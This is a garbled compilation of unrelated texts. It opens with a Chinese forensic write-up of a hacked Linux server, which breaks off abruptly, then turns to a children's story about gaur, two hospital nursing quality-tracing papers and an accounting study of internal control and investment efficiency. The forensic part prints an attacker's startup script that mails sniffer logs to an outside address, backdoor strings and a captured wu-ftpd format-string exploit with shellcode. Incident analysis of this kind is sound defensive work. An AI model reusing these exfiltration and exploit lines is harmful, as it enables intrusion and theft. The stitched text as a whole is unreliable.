echo“[1]PatchingWU-FTPd...”
rpm-Uhvwuftpd.rpm
echo“[2]PatchingNFS-utils...”
rpm-Fvhnfs-utils.rpm
psaux>>/tmp/psaux
if[“`cat/tmp/psaux|greprpc.statd`”];then
echo“[3]Restartingtherpc.statddaemon(NFS-utils)”
/etc/rc.d/init.d/nfslockrestart
else
echo“[4]Thedaemonrpc.statdisntrunning,sononeedtorestart!”
fi
rm/tmp/psaux
这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]
其他的文件目录我就没有仔细看了[这些打包后会提供下载]
根据.1file的隐藏文件列表我们一一找到了这些文件.
[root@ns.fsdc]#strings/usr/bin/xtty
......
PPRV
(nfsiod)
socket
bind
listen
accept
/bin/sh
不难看出是个后门
[root@ns.fsdc]#strings/dev/pttys
#!/bin/sh
cat/dev/sgk/.fsdc/system|mailprosupp@usa.net>/dev/null2>&1
nohup/usr/lib/lpset>/dev/null&
nohup/usr/bin/xtty>/dev/null&
rm-rfnohup.out
这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net[/dev/sgk/.fsdc/system是个嗅探记录]
[root@ns.fsdc]#cat/etc/rc.d/rc.sysinit|more
..........
if[“$PROMPT”!=“no”];then
/sbin/getkeyi&&touch/var/run/confirm
fi
wait
#NameServerCacheDaemon..
/usr/sbin/nscd-q
#NameServerCacheDaemon..
/usr/sbin/nscd-q
#Kernelmodulechecker
/usr/lib/libload>/dev/null2>&1
[root@nsbak]#strings/usr/sbin/nscd|more
+Q$9
/usr/info/.clib/sshd_config
ReceivedSIGHUP;restarting.
RESTARTFAILED:av[0]=%.100s,error:%.100s.
Receivedsignal%d;terminating.
Timeoutbeforeauthentication.
Generatingnew%dbitRSAkey.
RSAkeygenerationcomplete.
f:p:b:k:h:g:diqV:
i686-unknown-linux
1.2.27
sshdversion%s[%s]
Usage:%s[options]
Options:
/usr/info/.clib存放着一个ssh后门，这样机器启动后都会为hack开放方便之门.
[root@ns.fsdc]#strings/sbin/syslogd
============================================================
Time:%sSize:%d
Path:%s
=>%s[%d]
------------------------------------------------------------
Exiting...
cantgetSOCK_PACKETsocket
cantgetflags
cantsetpromiscuousmode
/dev/null
eth0
system
cantopenlog
这位hack改动了syslogd文件，变成了一个sniffer
，
。。。。。。。。。
接下来就是还原系统了，修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的
[root@nsman]#moresystem2
============================================================
Time:FriFeb217:26:07Size:1056
Path:210.217.237.75=>ns.xxx.cn[21]
------------------------------------------------------------
##g#>4h#>4hUSERftp
#>hPASS111F11CA?k^11^Ff1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11
#>h<#?hsiteexecxx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
#@@h
============================================================
Time:SatFeb306:01:39Size:44
追踪“白袜子” 篇6
大明星白袜子
在卡齐兰加国家公园，你说你不知道天是蓝的，草是绿的，也许没有动物会笑你，可是如果你不知道“白袜子”乃何方神圣，保准所有的动物都笑破肚子！谁不知道“白袜子”就是世界上体形最大的牛类——印度野牛，它们大脑袋，大耳朵，大眼睛，双角雄伟又漂亮，一句话，又酷又帅又威猛！在它们家族中，无论男女老少都永远穿着四条美丽的白色长筒袜，以致大家送给了它们一个昵称：白袜子。
总而言之，它们就是动物界中的superstar！这一点，这儿没有一个动物不同意，尤其是森林里最八卦的红毛啄木鸟，要知道，它之所以“鸟”气这么旺，多亏了“白袜子”的故事多多，而且每个都能听爆眼球！
哼气打报告
这不，一大早，顶着一脑袋红毛的啄木鸟就激动地凿起了树干：“最新消息，最新消息，有关‘白袜子’的！”话音刚落，大家顿时来了精神，开始议论纷纷，可啄木鸟却卖起了关子，叨叨起来：“为了这个消息，我可没少辛苦啊，起五更爬半夜的。‘白袜子’它们一向行踪不定，过着游荡的生活，连固定的住所都没有。好在我红头啄木鸟聪明啊，知道它们肯定要喝水，就一直蹲守在小河旁边……小河附近那么多树连个虫子都没有了，全被我吃光了……”
碎嘴的啄木鸟还想巴啦巴啦地说下去，却惹恼了听众，“stop！快快切入主题！”红头啄木鸟吓得一哆嗦，马上话锋一转，“哈哈，你们肯定想不到，‘白袜子’也会逃跑！昨天黄昏的时候，它们去喝水，却不知道闻到了什么危险，只听它们的首领用鼻子哼了口气，然后整个群体立即逃跑了，还跑得相当快！我马上飞起，跟踪，结果发现，‘白袜子’真义气，跑在最前面的跑了一阵后还停了下来，等落后的跟上来再一起跑！”
“白袜子”逃跑？谁不知道，“白袜子”一向战绩赫赫，只有凶猛的孟加拉虎才是它们的天敌。而且就是孟加拉虎也不敢轻易挑衅身强体壮的“白袜子”，顶多拿它们当中的老弱病残开刀。
这个消息太惊人了，很快，整个卡齐兰加国家公园的动物都知道“白袜子”被某些神秘来客吓得屁滚尿流！随后，小动物们一阵惊慌，难道公园里来了什么可怕的怪物？
和神秘来客比高低
从此，动物们开始轮流地竖起耳朵，睁大眼睛，准备只要遇到“白袜子”就一定问个究竟——它们并不怕被“白袜子”吃掉，或者踩死，作为超级粉丝，所有的动物都知道，“白袜子”一向吃素不吃荤，它们的最爱是野草、嫩芽、嫩叶，还有嫩竹和笋。而且“白袜子”脾气一向很好，“人不惹它，它不犯人”。
俗话说，机会只留给有准备的人。就在动物们盯梢盯得眼珠子都快掉出来的时候，机会终于来了。
这天，多嘴的叶猴看到不远处有一群“白袜子”在舔食盐碱，以补充盐分和无机元素，连忙发挥无畏的八卦精神，冲了过去，“‘白袜子’，等等，尊敬的‘白袜子’，请回答我一个问题！”若在平时，“白袜子”肯定会自顾自地离去，拒不接受采访，可这次，它们心情很好，很快停了下来。叶猴立马激动地、磕磕巴巴地提出了问题。
“事实上……是人，我们闻到了人的味道！”
质量追踪 篇7
1 资料与方法
1.1 一般资料
2014年2月~2014年10月, 本院护理部组织25个临床护理单元开展个案追踪护理查房25次。科室分布:外科9次, 占36%;内科11次, 占44%;重症科室 (PICU、CCU、ICU) 5次, 占20%。
1.2 方法
1.2.1 确定追踪患者
根据不同专科特点, 选择具有代表性的危重、疑难患者为追踪对象, 住院大于1周, 跨科有手术的危重患者;当日手术、治疗或检查的患者;当日或隔日出院的患者。若无手术、危重、一级护理患者, 则关注患者重点和容易忽视的护理专科问题。每个科室每次现场确定2名追踪对象。以患者为中心, 通过访谈患者、家属和护士, 查看相关资料、现场查看的方式进行相关内容检查, 在科室组长指导下, 由责任护士整理病例资料, 内容包括患者姓名、年龄、诊断、主要病情、治疗、异常化验结果、阳性体征、护理评估情况、实施的护理措施及护理过程中需要讨论和解决的问题等;同时, 与患者和 (或) 家属积极沟通, 征得其同意, 并在护理查房现场作好准备。
1.2.2 确定查房评审者
本院护理查房已纳入护理部年度工作计划中, 将全院25个临床护理单元每周接受评审1次。由护理部主任牵头, 带领4个科室护士长组成一组评审人员。各护理组骨干均为工作年限≥10年, 业务技术良好, 具有一定的教学能力和科研能力[5]。牵头护士长负责协调各组骨干, 依照护理程序、表单路径全程追踪护理质量并提出整改意见。
1.2.3 确定考核评分标准
个案追踪查房分为3种查看形式, 共13个项目, 各项评分标准如下。第一, 访谈患者: (1) 患者护理级别与病情及自理能力相符, 护士落实基础及专科护理措施。 (2) 健康教育、护理记录:记录符合要求;患者知晓相关宣教及责任护士、护士长。第二, 访谈护士: (1) 责任护士的资质, 对患者“十知道”的掌握; (2) 护理评估-护理计划-护理措施执行:评估的正确性及执行; (3) 护士操作技能、仪器的应用和管理。第三, 工作流程及核心制度:患者的入院、出院、转科、手术、标本采集、交接班及发药、医嘱执行等。第四, 药品/物品的管理:分类安全管理:毒麻、高危药品、口服药、静脉药、危险物品。第五, 环境的管理: (1) 环境安全安静整洁, “5S”管理, 标识清晰; (2) 患者隐私保护措施。第六, 访谈护士长:科室排班、科室质量控制。
1.2.4 个案追踪实施流程
1.2.4. 1 查房前准备工作
个案追踪查房当日, 护理部通知科室具体查房时间, 被查科室护理人员及相关工作人员作好准备。护理查房参与者需提前半小时到达所查科室, 现场确定追踪病例, 熟悉患者资料, 并作好相关问题的准备。进入病房前严格遵守消毒隔离制度, 避免给患者造成外源性感染。
1.2.4. 2 现场查房及学习讨论实施查房由当月带队护士长主持, 为了减少打扰患者的时间, 采取集中-分散-再集中的方式。先集中由责任护士介绍患者的整体情况、存在的护理问题、护理措施及注意事项, 护理组长再予以补充。然后分散按个案追踪查房表单项目顺序, 分批轮流至患者床边查看, 并同时进行询问, 选择封闭式提问方式, 让患者回答是否即可[6], 了解患者及家属对护理服务质量的需求和满意度情况、相关疾病知识了解情况、健康教育实施情况等, 不影响患者休息, 不给患者造成心理压力, 注意尊重及保护患者的隐私, 致谢后离开病房。再集中, 首先对护理过程中患者疑难问题展开提问和讨论, 鼓励参与者发言, 由责任护士、责任组长共同解答;然后让参与查房的各组骨干针对本专业学组涉及的护理内容进行点评, 每位骨干讲评时间为3分钟左右;最后, 由带队护士长总结, 由护理部相关人员做总结性发言。
1.2.4. 3 评价追踪管理
通过特定患者的追踪检查, 主要评价对各种质量与安全管理制度及流程的执行力, 专业照护的服务能力。查房结束后, 科室护士长、护理组长、责任护士共同制订改进护理措施并加以落实, 完善护理流程及服务方案。护理部当时统计所查科室护理查房得分情况, 由被查科室的护士长记录个案追踪查房的总结, 后期护理部进行持续质量追踪督导, 直到问题有效解决。
1.3 评价指标
比较个案追踪法应用前后基础护理、专科护理质量、安全护理质量的得分以及患者满意度 (调查50名患者) 。
1.4 统计学方法
将所有数据录入计算机, 并由双人核对, 采用SPSS 17.0统计软件包进行数据处理。采用均数±标准差进行统计学描述, 采用t检验进行计量资料的统计分析。以P<0.05表示差异有统计学意义。
2 结果
个案追踪法应用前后护理质量指标及患者满意度得分比较, 见表1。
3 讨论
3.1 完善个案追踪流程, 优化护理服务
医院护理部每月召开个案追踪检查小组会议, 反馈、讨论、分析个案追踪护理查房法在应用过程中存在的问题, 共同协商讨论、及时调整和纠正。通过调研及临床实践, 不断完善优化个案追踪查房评分标准及实施流程。个案护理查房的应用使护理管理者更加注重过程管理、细节管理, 可以及时纠正护理人员或管理环节的缺点和不足, 对于成绩给予肯定, 好的专科技术予以推广, 提高护理人员工作主动性和积极性, 发挥他们的潜能, 提高他们解决问题的能力, 增强质量意识, 有助于全面质量管理的实施[7,8]。本研究结果显示, 个案追踪法应用后安全护理质量、专科护理质量、基础护理、患者满意度得分与个案追踪查房实施前比较, 差异有统计学意义 (P<0.05) 。通过责任护士对患者的各项护理活动及沟通, 护理专业团队的指导和帮助, 患者可获得更舒适的专业护理和个性化的康复计划, 护理部可跟踪监测效果, 使护理质量与安全管理得到保证。
3.2 整合科室资源, 推广先进的专科及专项技术
本研究中结果显示, 个案追踪查房实施后专科护理质量较实施前显著提高。随着医学学科的发展和不断细化, 专科护理水平也随之提高, 形成了各具特色的专科技术、管理体系。对于涉及不同科室的相关问题, 采取护理会诊的方式可以为护理人员提供专科护理资源帮助。通过跨专科的追踪指导、交流和学习, 不同科室之间的护士获得了丰富的知识、技术, 使先进的专科及专项护理技术得到了及时推广。个案追踪护理查房充分调动医院的护理力量, 整合科室资源, 集中大家智慧, 找出患者安全隐患, 制定并实施科学干预方案, 避免护理过程中的潜在漏洞[9]。个案追踪护理查房的应用有助于护理人员较好地运用先进的专科技术, 使医院各学组的规范制度更加科学化、专业化, 对于科室整体护理管理而言可使患者减少危险, 保障患者安全, 促进护理质量的提高, 真正体现以患者为中心的优质护理服务内涵。
3.3 发挥学组护理骨干价值, 促进护理梯队建设
在个案追踪护理查房的过程中, 护理骨干发挥了重要的作用。他们有效推进专科及专项护理技术落实, 既锻炼了自身能力, 又解决了患者全面专项的护理需求。护理骨干专业知识扎实, 临床经验丰富, 护理技能娴熟, 起到传、帮、带、教的作用;在个案追踪检查过程中积极配合, 认真参与研究;在制订整改措施时学会运用循证方法对需要采取的措施寻找依据;关注患者的个体需要, 为患者解决专科及专项护理技术疑难问题, 将护理服务以技术形式应用于患者, 得到了患者与同行的充分认可;与责任护士、患者充分接触、沟通, 进行业务指导, 展示了各自专科所长。个案追踪式护理查房为护理骨干构建了新的工作平台, 提升了护理骨干的职业素养, 促进了其主动学习、主动服务的意识。护理骨干通过个案追踪式护理查房更新了护理观念, 确立了发展方向和工作目标, 明确了职责, 加强了责任感、义务感、使命感, 使更高层次的职业价值也得以实现, 同时也为临床护士职业生涯的发展树立了榜样, 提供了实践依据。
3.4 增强了护理人员的质量控制意识, 加强了细节过程管理, 保证了护理质量持续改进, 以往护理质量控制检查注重结果, 运用追踪方法学, 通过过程监督更加方便管理者发现护理过程中一些问题, 如引流管的标识管理, 以往管理者仅注意护士是否按照要求做了标识, 通过检查发现护士不明白管路做标识的目的和意义, 同时不清楚标识做在哪里更为合适, 发现问题后通过教育指导让护士知道标识管理的重要性及具体方法, 再次追踪检查合格率明显上升, 避免了以往管理者单纯注重检查结果, 忽略原因过程分析, 影响质量的改进。
3.5 加强沟通协作, 团队意识增强
改变以往只注重护理系统自身问题, 与其他部门沟通协作少, 导致有些问题搁置, 严重影响护理质量和安全的现象。通过系统追踪方法的应用, 能够访查患者整个就医过程的每一个细节, 查找系统原因[10], 运用系统追踪法, 各部门相互沟通共同直面影响质量安全问题, 查找原因, 制订整改措施, 改进力度大, 同时更有利于医疗团队中各角色作用的理解和发挥, 促进了医护及相关部门人员的和谐关系。
参考文献
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[5]胡容, 刘云, 卢玉文.护理骨干护理质量管理意识和能力培养模式的构建与实施[J].护理学报, 2009, 16 (20) :27-30.
[6]Joint Commission on Accreditation of Healthcare Organizations.Tracermethodology:tips andstrategies for continuous systems improvement[M].4thed.Chicago:Department of Publications of JointC ommission Resources, 2011.
[7]侯桂玲.我院临床护理查房现状及工作思路[J].当代护士 (下旬刊) , 2014, 8:167-169.
[8]王苹.追踪方法学在护理质量评价中的应用[J].中国护理管理, 2011, 11 (12) :68-69.
[9]陈湘玉, 陈璐.专科护理小组管理的实践与成效[J].中华护理杂志, 2011, 46 (8) :785-787.
质量追踪 篇8
关键词：质量追踪法,护理,组织和管理
质量追踪评价是检查者从患者的角度看医疗服务的过程, 了解各种制度流程的落实程度, 便于深入追查有疑问的环节, 提高过程质量的预控能力[1]。卫生部在2011年启动新一轮等级医院评审, 也将质量追踪评价方法作为基本评价手断之一运用于医院评审过程中。近年来, 为加强患者安全管理, 落实患者安全十大目标, 尤其在“提高用药安全”方面, 我院积极探索运用质量追踪管理方法, 开展以患者为中心的多层级全员质控, 在保证患者安全用药方面发挥了积极作用, 收到了良好效果。
1 思路与方法
1.1 建立安全用药护理质量追踪评价机制
1.1.1 树立以患者安全用药为中心的质量管理理念, 探索多部门联合的评价机制 护理部联合药剂科、器械科等部门排查患者安全用药的护理隐患和问题, 在护士工作涉及的药品领取、保管、配置、给药及用药观察等诸多环节上, 采用深入现场考查护理行为、向护士、患者访谈的检查方式以及运用追踪方法, 进行护理安全用药关键环节排查等方法, 使管理者及时发现临床安全用药制度落实中的问题, 对疑问环节进行深入追查, 及时进行安全质量的纠偏和流程制度的补充健全。如在毒麻药品安全使用和管理方面, 通过调取药剂科已调配的毒麻药品处方, 对使用毒麻药品患者的规范管理进行逆向追踪, 排查出临床科室存在使用漏登记现象。而以常规检查法, 仅就科室毒麻药品使用登记本进行检查, 难以发现深层问题。
1.1.2 修订护理安全用药相关制度及流程再造 结合在质量追踪评价中发现的问题, 及时补充修订病区药品使用管理等制度, 建立临床护理使用新、特药规定, 进行静脉输液、输血流程再造, 建立用药查对流程、特殊治疗前后等重点护理环节管理流程。在实施过程中, 强调护理人员遵守行为标准、规范及落实, 促使护理人员对流程及行为标准达成共识。
1.1.3 建立患者安全用药护理质量三级质控网 由科室护理人员、护士长及科质控小组、护理部及护理质量委员会成员组成三级质量管理组织。护士是药品的管理者和是医嘱的执行者, 为一级质控成员。其职责重点为规范执行药品的领取、保管、配置、给药及用药观察并做好查漏补缺工作。二级质控组织为科室护士长及科室相关质控小组, 负有现场监管、考核、规范指导的责任。护理部及护理质量委员会成员组成三级质量组织, 负责相关制度、流程、标准的制定, 协调相关部门解决安全用药管理中的实际问题。
1.1.4 实行护理工作多班次间的安全管理链接 护理工作在班次交接、操作环节连接、专业连接的环节上常常是问题的高发区, 且发生问题常无法追踪到责任人, 也易造成严重的安全隐患[2]。流行病学调查显示, 国内住院患者的平均静脉输液率为73.35%[3], 且一项治疗工作涉及多个环节, 如领药、配药、注射、换药、治疗效果观察等过程, 如出现问题往往涉及多个环节、部门。在质量追踪管理思路下, 我们探索建立安全用药管理责任制, 针对每个环节进行责任分工, 如重新设计输液执行单和医嘱转抄程序, 实行关键环节双人核对及签名制, 细化输液管理流程, 对每项工作均做到责任到人, 一旦发生问题均能追查到责任人, 提高了护理人员安全用药责任心和工作程序的规范化。
1.2 开展规范化培训教育, 提高护士安全风险意识
1.2.1 实行院内护士滚动培训、新上岗护士规范化培训考核和科内培训相结合模式 结合卫生部2011年版《护理实践指南》, 组织给药系列专项培训, 如高危药品管理规范, 各类给药操作技能、给药治疗仪器如输液泵、注射泵等的使用及风险预案的培训和考核。新上岗护理人员要在入院规范化培训中接受相关规章制度, 基础规范操作的培训和考核, 入科后结合科室特点进行临床实践培训考核。在科室层面建立药物说明书学习资料及科室安全管理手册, 更新药物配伍禁忌表, 帮助护士方便快捷掌握用药知识。
1.2.2 开展用药安全警示教育活动 开展非惩罚性护理不良事件报告机制, 鼓励不良事件报告。每月召开安全质量分析会, 从多角度查找发生缺陷的隐患和管理系统上的漏洞, 并通过再造流程、完善制度解决深层问题。组织开展典型案例教育, 让护士积极参与互动, 从而强化护士的护理风险意识、法律意识和责任意识。
2 结果
2.1 护士责任心增强, 安全用药相关问题及不良事件明显减少, 安全用药相关重点监测内容合格率明显提高 (见表1) 。
2.2 患者对护士信任度提高, 患者满意度提高。由于质量考核建立在以患者为中心的前提下, 护理服务在行动上把想患者所想、急患者所急落到了实处, 使我院住院患者护理服务满意率由2009年的95%上升到2011年的98%。
3 讨论
3.1 实施护理安全用药质量追踪管理, 是检查者从患者角度检查护理服务过程。通过以向护士、住院患者访谈、深入现场考查护理行为的检查方式, 追踪患者在医院中接受治疗护理的具体过程, 能使管理者及时准确掌握用药安全制度的落实, 了解工作流程中的问题环节, 及时进行质量控制和干预, 同时由于能够发现深层次问题, 利于及时发现现存和潜在的护理质量问题, 从而及时改进和完善管理制度和规范护理人员行为, 有效提高了护理安全过程质量控制。而传统检查方式往往以管理者为导向, 忽略患者为中心的质量问题, 从而难以发现某些工作流程中的缺陷和不足。
3.2 质量追踪管理突出以患者为中心的管理理念, 促进临床护士在工作中更多地关注到护理服务过程的细节, 而不单单是工作任务的完成。由于让患者知晓各项治疗、护理及操作人员, 患者主动参与到安全用药的管理工作中, 起到一定监督作用, 使护士间、医护间、护患间共同关注用药安全质量问题, 降低了护理过程中因药品不良反应的纠纷风险。此外由于质量问题有可追溯的依据, 促进护士责任心和慎独精神的培养。
3.3 质量追踪管理促进多部门间为保障患者安全的共同目标而加强合作, 能从深层次解决问题并提高解决问题的效率。如对于药品的规范贮存问题, 由于药剂科、器械科的参与管理, 使临床科室冷藏药品和高危特殊药品管理工作在短时间内得到统一和规范。
参考文献
[1]姜天一.追踪方法学评鉴:挑战医院管理的极限[J].中国卫生, 2010 (8) :51-53.
[2]王瑛琳, 姜忠强.护理质量追踪管理思路与方法[J].中国护理管理, 2012, 12 (2) :50-52.
质量追踪 篇9
在新古典经济学理论分析框架中,假设资本市场不存在缺陷,企业投资行为取决于资金成本、利率和投资机会。但是,发端于20世纪70年代的信息不对称理论认为, 在市场经济活动中,各类参与者掌握的信息并不对称,在交易中拥有信息优势的参与者会处于更有利的地位,信息贫乏的参与者会处于不利地位,从而导致“柠檬问题”, 资本市场的“柠檬问题”容易使公司投资偏离最优投资水平(Akerlof,1970)。Bushman和Smith(2001)的研究表明, 信息不对称及由此引发的代理问题会导致资本配置非效率。他们认为,投资者通过获得高质量的会计信息对投资机会进行甄别,能有效改善投资效率。随后众多学者的实证研究结果支持了这一结论(Biddle和Hilary,2006;Bid- dle et al.,2009;李青原,2009)。因此,如何降低信息不对称程度、减少资本市场摩擦、提高资本配置效率,成为学术界和实务界关注的热点问题。
已有的研究表明,会计信息质量与内部控制质量显著正相关,公司内部控制越有效,会计信息质量越高(Ash- baugh-Skaife et al.,2008;Altamuro和Beatty,2010;刘启亮等,2013)。高质量的内部控制有助于提高财务报告质量,降低信息不对称和代理问题对资本市场的噪音干扰。 根据Biddle et al.(2009)的研究结论,财务报告质量的提高能减少道德风险和逆向选择带来的资本市场摩擦,提高投资效率。随后,Cheng et al.(2013)的研究为内部控制与投资效率之间的相关关系提供了更直接的经验证据, 表明存在内部控制重大缺陷的公司投资效率更低,披露内部控制重大缺陷有助于提高财务报告质量,进而改善投资效率。
但是,对于内部控制在公司投资中的作用,国内学者并未取得一致意见。李万福等(2011)对内部控制与公司投资之间的关系进行了实证检验,他们发现内部控制质量与企业投资效率存在正相关关系。方红星等(2013)认为,有效的公司治理和内部控制能抑制企业的非效率投资行为。然而,于忠泊和田高良(2009)研究表明,在自愿性披露阶段,内部控制评价报告的披露和审核与上市公司资源配置效率之间不存在显著性关系。由此可见,对于内部控制与投资效率之间的相关关系,学者们的意见仍然存在分歧。那么,内部控制在公司投资中的角色到底是什么?而那些内部控制质量差的公司在后续年度改善其内部控制质量能否促进投资效率提升呢?
本文在李万福等(2011)研究的基础上,基于2006 ~ 2013年沪深两市上市公司数据,对内部控制质量差的公司后续年度内部控制质量改善及由此导致的投资效率的变化进行了追踪研究。结果表明,相对于内部控制质量高的公司,内部控制质量低的公司的非效率投资问题更严重,这与李万福等(2011)的研究结论一致。进一步,本文将内部控制与投资效率关系从静态层面拓展到动态层面,对内部控制质量差的公司进行了持续追踪,发现内部控制质量差的公司在后续年度改善其内部控制质量有助于提升投资效率。
二、理论分析与研究假设
(一)内部控制质量与投资效率
在Modigliani和Miller(1958)描述的完美资本市场中,企业的投资支出完全取决于边际Q,只要边际Q不等于1,企业就有动机不断调整其资本存量,最终产生最优投资水平。然而,现实中的资本市场由于信息不对称和代理问题而存在摩擦,容易使企业投资偏离其最优投资水平。信息不对称理论认为,在信息不对称情况下会产生逆向选择和道德风险,滋生代理问题。相对于内部控制质量高的公司,内部控制质量差的公司财务报告质量更低,信息不对称问题更加严重,逆向选择和道德风险问题可能会使非效率投资进一步加剧(Doyle et al.,2007b)。
首先,相对于外部投资者,内部经理人掌握了投资项目更多的信息,当公司股价被高估时,偏好于最大化私人利益的经理人员有更强的动机去筹集投资所需资金。然而,投资者为了规避处于信息劣势可能导致的损失,必然要求更高的风险溢价,使公司面临融资约束而投资不足。 其次,由于经营权和所有权分离,经理人和股东之间的利益并不一致(Jensen et al.,1976),经理人往往基于个人利益最大化来进行投资决策,那些厌恶风险、偏好于享受平静生活的经理人会减少投资以逃避监管责任(Bertrand和Mullainathan,2003),从而引发投资不足。另外,在我国上市公司中存在比较严重的第二类代理问题。我国上市公司金字塔式股权结构比较普遍,现金流权和控制权分离较为严重,控股股东会通过金字塔式股权结构来侵占中小股东的利益(刘启亮等,2008),运用担保、借贷等方式占用上市公司资金(李增泉等,2004),会使上市公司因缺乏资金而投资不足。
然而,经理人和股东之间的利益冲突可能引发投资不足,也有可能导致过度投资。根据Jensen(1986)的研究, 经理人的目标不仅仅局限于使公司有良好的盈利,“帝国建造倾向”使经理人对经营大规模公司有浓厚的兴趣,促使他们不断通过增加投资来扩大公司规模,通过增加资本控制权来获得个人收益,从而引发过度投资。另外,控股股东和上市公司通过关联方交易进行利益输送也会引发过度投资。Johnson et al.(2000)发现,上市公司通过关联方交易高价购买股东资产,或投资于能使控股股东享受协同效益的项目,从而引发过度投资。
基于以上分析,笔者认为,相对于内部控制有效的公司,内部控制质量较差的公司信息不对称程度更加严重, 由此产生的逆向选择、道德风险以及代理问题,导致更低的投资效率。据此,本文提出如下研究假设:
H1:相对于内部控制有效的公司,内部控制质量较差的公司的投资效率更低。
(二)内部控制质量改善与投资效率
前文只是从静态层面对比内部控制有效和内部控制无效公司之间的异质性投资效率差异,下面将从动态角度关注那些有“污点”(内部控制差)的公司后续年度的 “改正”行为(内部控制质量改善)是否能够提升投资效率。
有效的内部控制能降低信息不对称程度,提高会计信息质量,进而优化投资效率。内部控制差的公司后续年度加强其内部控制建设,能提高其内部控制质量,高质量的内部控制有助于提高财务报告质量(Ashbaugh-Skaife et al.,2008),而会计信息质量的提高,能缓解由于信息不对称和代理冲突引发的投资不足与过度投资。
首先,内部控制质量的提高可以减少投资者逆向选择行为,增强投资者对信息的依赖程度,降低预计风险, 从而降低投资者对资本成本的要求(Deumes和Knechel, 2008)。较低的资本成本缓解了企业面临的融资约束,在面临好的投资机会时,企业更容易筹集到所需资金(My- ers和Majluf,1984),避免融资成本过高导致的投资不足; 高质量的内部控制能增加信息披露的透明度,使投资者和外部监管者能及时关注与控股股东异常的关联方交易和大额的资金占用问题,抑制不合理的关联方交易,防止利益输送导致的“掏空”行为,从而缓解投资不足。其次, 完善内部控制有助于进一步提高会计信息质量,使投资者对公司风险和财务报告质量的判断更加准确,经理人无法通过高价发行证券来获得投资所需的资金流;治理层以及外部监管机构能有效地履行其监督职责,加强对管理层投资、融资决策的审查,促使管理层减少与投资者利益不一致的投资决策,抑制过度投资。
基于以上分析,笔者认为,内部控制质量的改善有助于缓解信息不对称引发的逆向选择和道德风险问题,减轻代理冲突,从而提高企业投资效率。据此,本文提出如下研究假设:
H2:内部控制质量较差的公司在内部控制质量改善后能有效提高公司的投资效率。
三、研究设计
(一)主要变量定义和模型设计
1. 内部控制质量和内部控制质量改善。为了区分内部控制质量的高低和内部控制质量是否改善,本文借鉴李万福等(2011)的研究,结合上市公司因违规被证监会处理信息、内部控制重大缺陷披露信息、内部控制非标审计意见信息和财务报表非标审计意见信息来界定内部控制质量高低及内部控制质量是否改善。针对本文的两个假设采用以下不同的分组虚拟变量:
(1)针对H1,我们将全部样本分为低内部控制质量组和控制组,内部控制质量用ICQ来表示。若公司2006 ~ 2013年存在上述任意一项缺陷,则内部控制质量界定为差。当第t期内部控制质量为差时ICQ取值为1,否则为0。
(2)针对H2,我们追踪了第t期被界定为内部控制质量差的样本公司在第t+1期内部控制质量改善情况,当在第t+1期不存在上述任意一项缺陷时界定为内部控制质量改善,用ICQ_impro表示。内部控制质量改善时ICQ_impro取值为1,否则为0。为了更好地检验内部控制改善对投资效率的影响,我们还持续追踪了第t期被界定为内部控制质量差的样本公司在第t+2期的内部控制质量,用ICQ_impro1表示。若ICQ_impro在第t+1期取值为0(表示在第t+1期内部控制质量未得到改善),但在第t+2期不存在上述任意一项缺陷,则ICQ_impro1取值为1,否则为0;若ICQ_impro在第t+1期取值为1(表示在第t+1期内部控制质量已得到改善),在第t+2期仍然为高质量内部控制,则ICQ_impro1取值为1,否则为0。笔者在表1中进行了补充说明。
2. 投资效率的衡量。首先,针对H1,本文参考Biddle et al.(2009)的投资估计模型测度投资效率,借鉴Cheng et al.(2013)的方法,通过模型(1)的混合回归检验公司被界定为内部控制质量差的前一年的投资效率。模型如下:
模型(1)中,INVt表示公司第t期的投资水平,本文把INV定义为固定资产、无形资产、长期投资的净值改变量除以平均总资产再乘以100。变量Overfirm区分公司过度投资或投资不足倾向,本文分别对现金(Cash)和杠杆系数(Leverage)进行10等分排序,将两者排序之和除以10, 以便将Overfirm缩放到0和1之间。Overfirm越接近于0, 表明公司投资不足的可能性较大;越接近于1,表明公司过度投资的可能性越大。现金充裕和低负债的公司过度投资的可能性更大,现金短缺和高负债的公司更可能投资不足。
为了检验H1,使用的是t-1期的数据估计模型(1), 观察的变量是ICQ和ICQ×Overfirm前系数的符号方向。 第一,如果Overfirm接近于0或等于0,相对于内部控制有效的公司,内部控制质量差的公司投资不足水平更高,预计系数β1小于0;第二,如果Overfirm接近于1或等于1, 相对于内部控制有效的公司,内部控制质量差的公司过度投资水平更高,那么系数β2应该大于0,并预期ICQ和ICQ×Overfirm前系数及β1+β2将显著为正。
针对H2,为了检验内部控制质量的改善是否会促进投资效率提升,我们借鉴Cheng et al.(2013)的研究,构建了模型(2)和模型(3),如下所示:
模型(2)中的INV反映的是界定为内部控制质量差的公司在t+1期的投资水平;模型(3)中INV反映了界定为内部控制质量差的公司在t+2期的投资水平。为了克服共线性问题,模型(2)和模型(3)中所有的控制变量取滞后一期的值。如果内部控制质量改善的确提高了企业投资效率,那么系数β1以及β1+β2应该变得不显著。
3. 控制变量。本文借鉴李万福等(2011)、Cheng et al. (2013)的研究,控制了18个反映公司财务特征的指标,以及6个公司治理变量。另外,为了更好地考察第二类代理问题对公司投资的影响,我们还参考Liao et al.(2014)的研究,控制了反映公司关联方交易情况的指标。具体定义见表2。
(二)样本选择
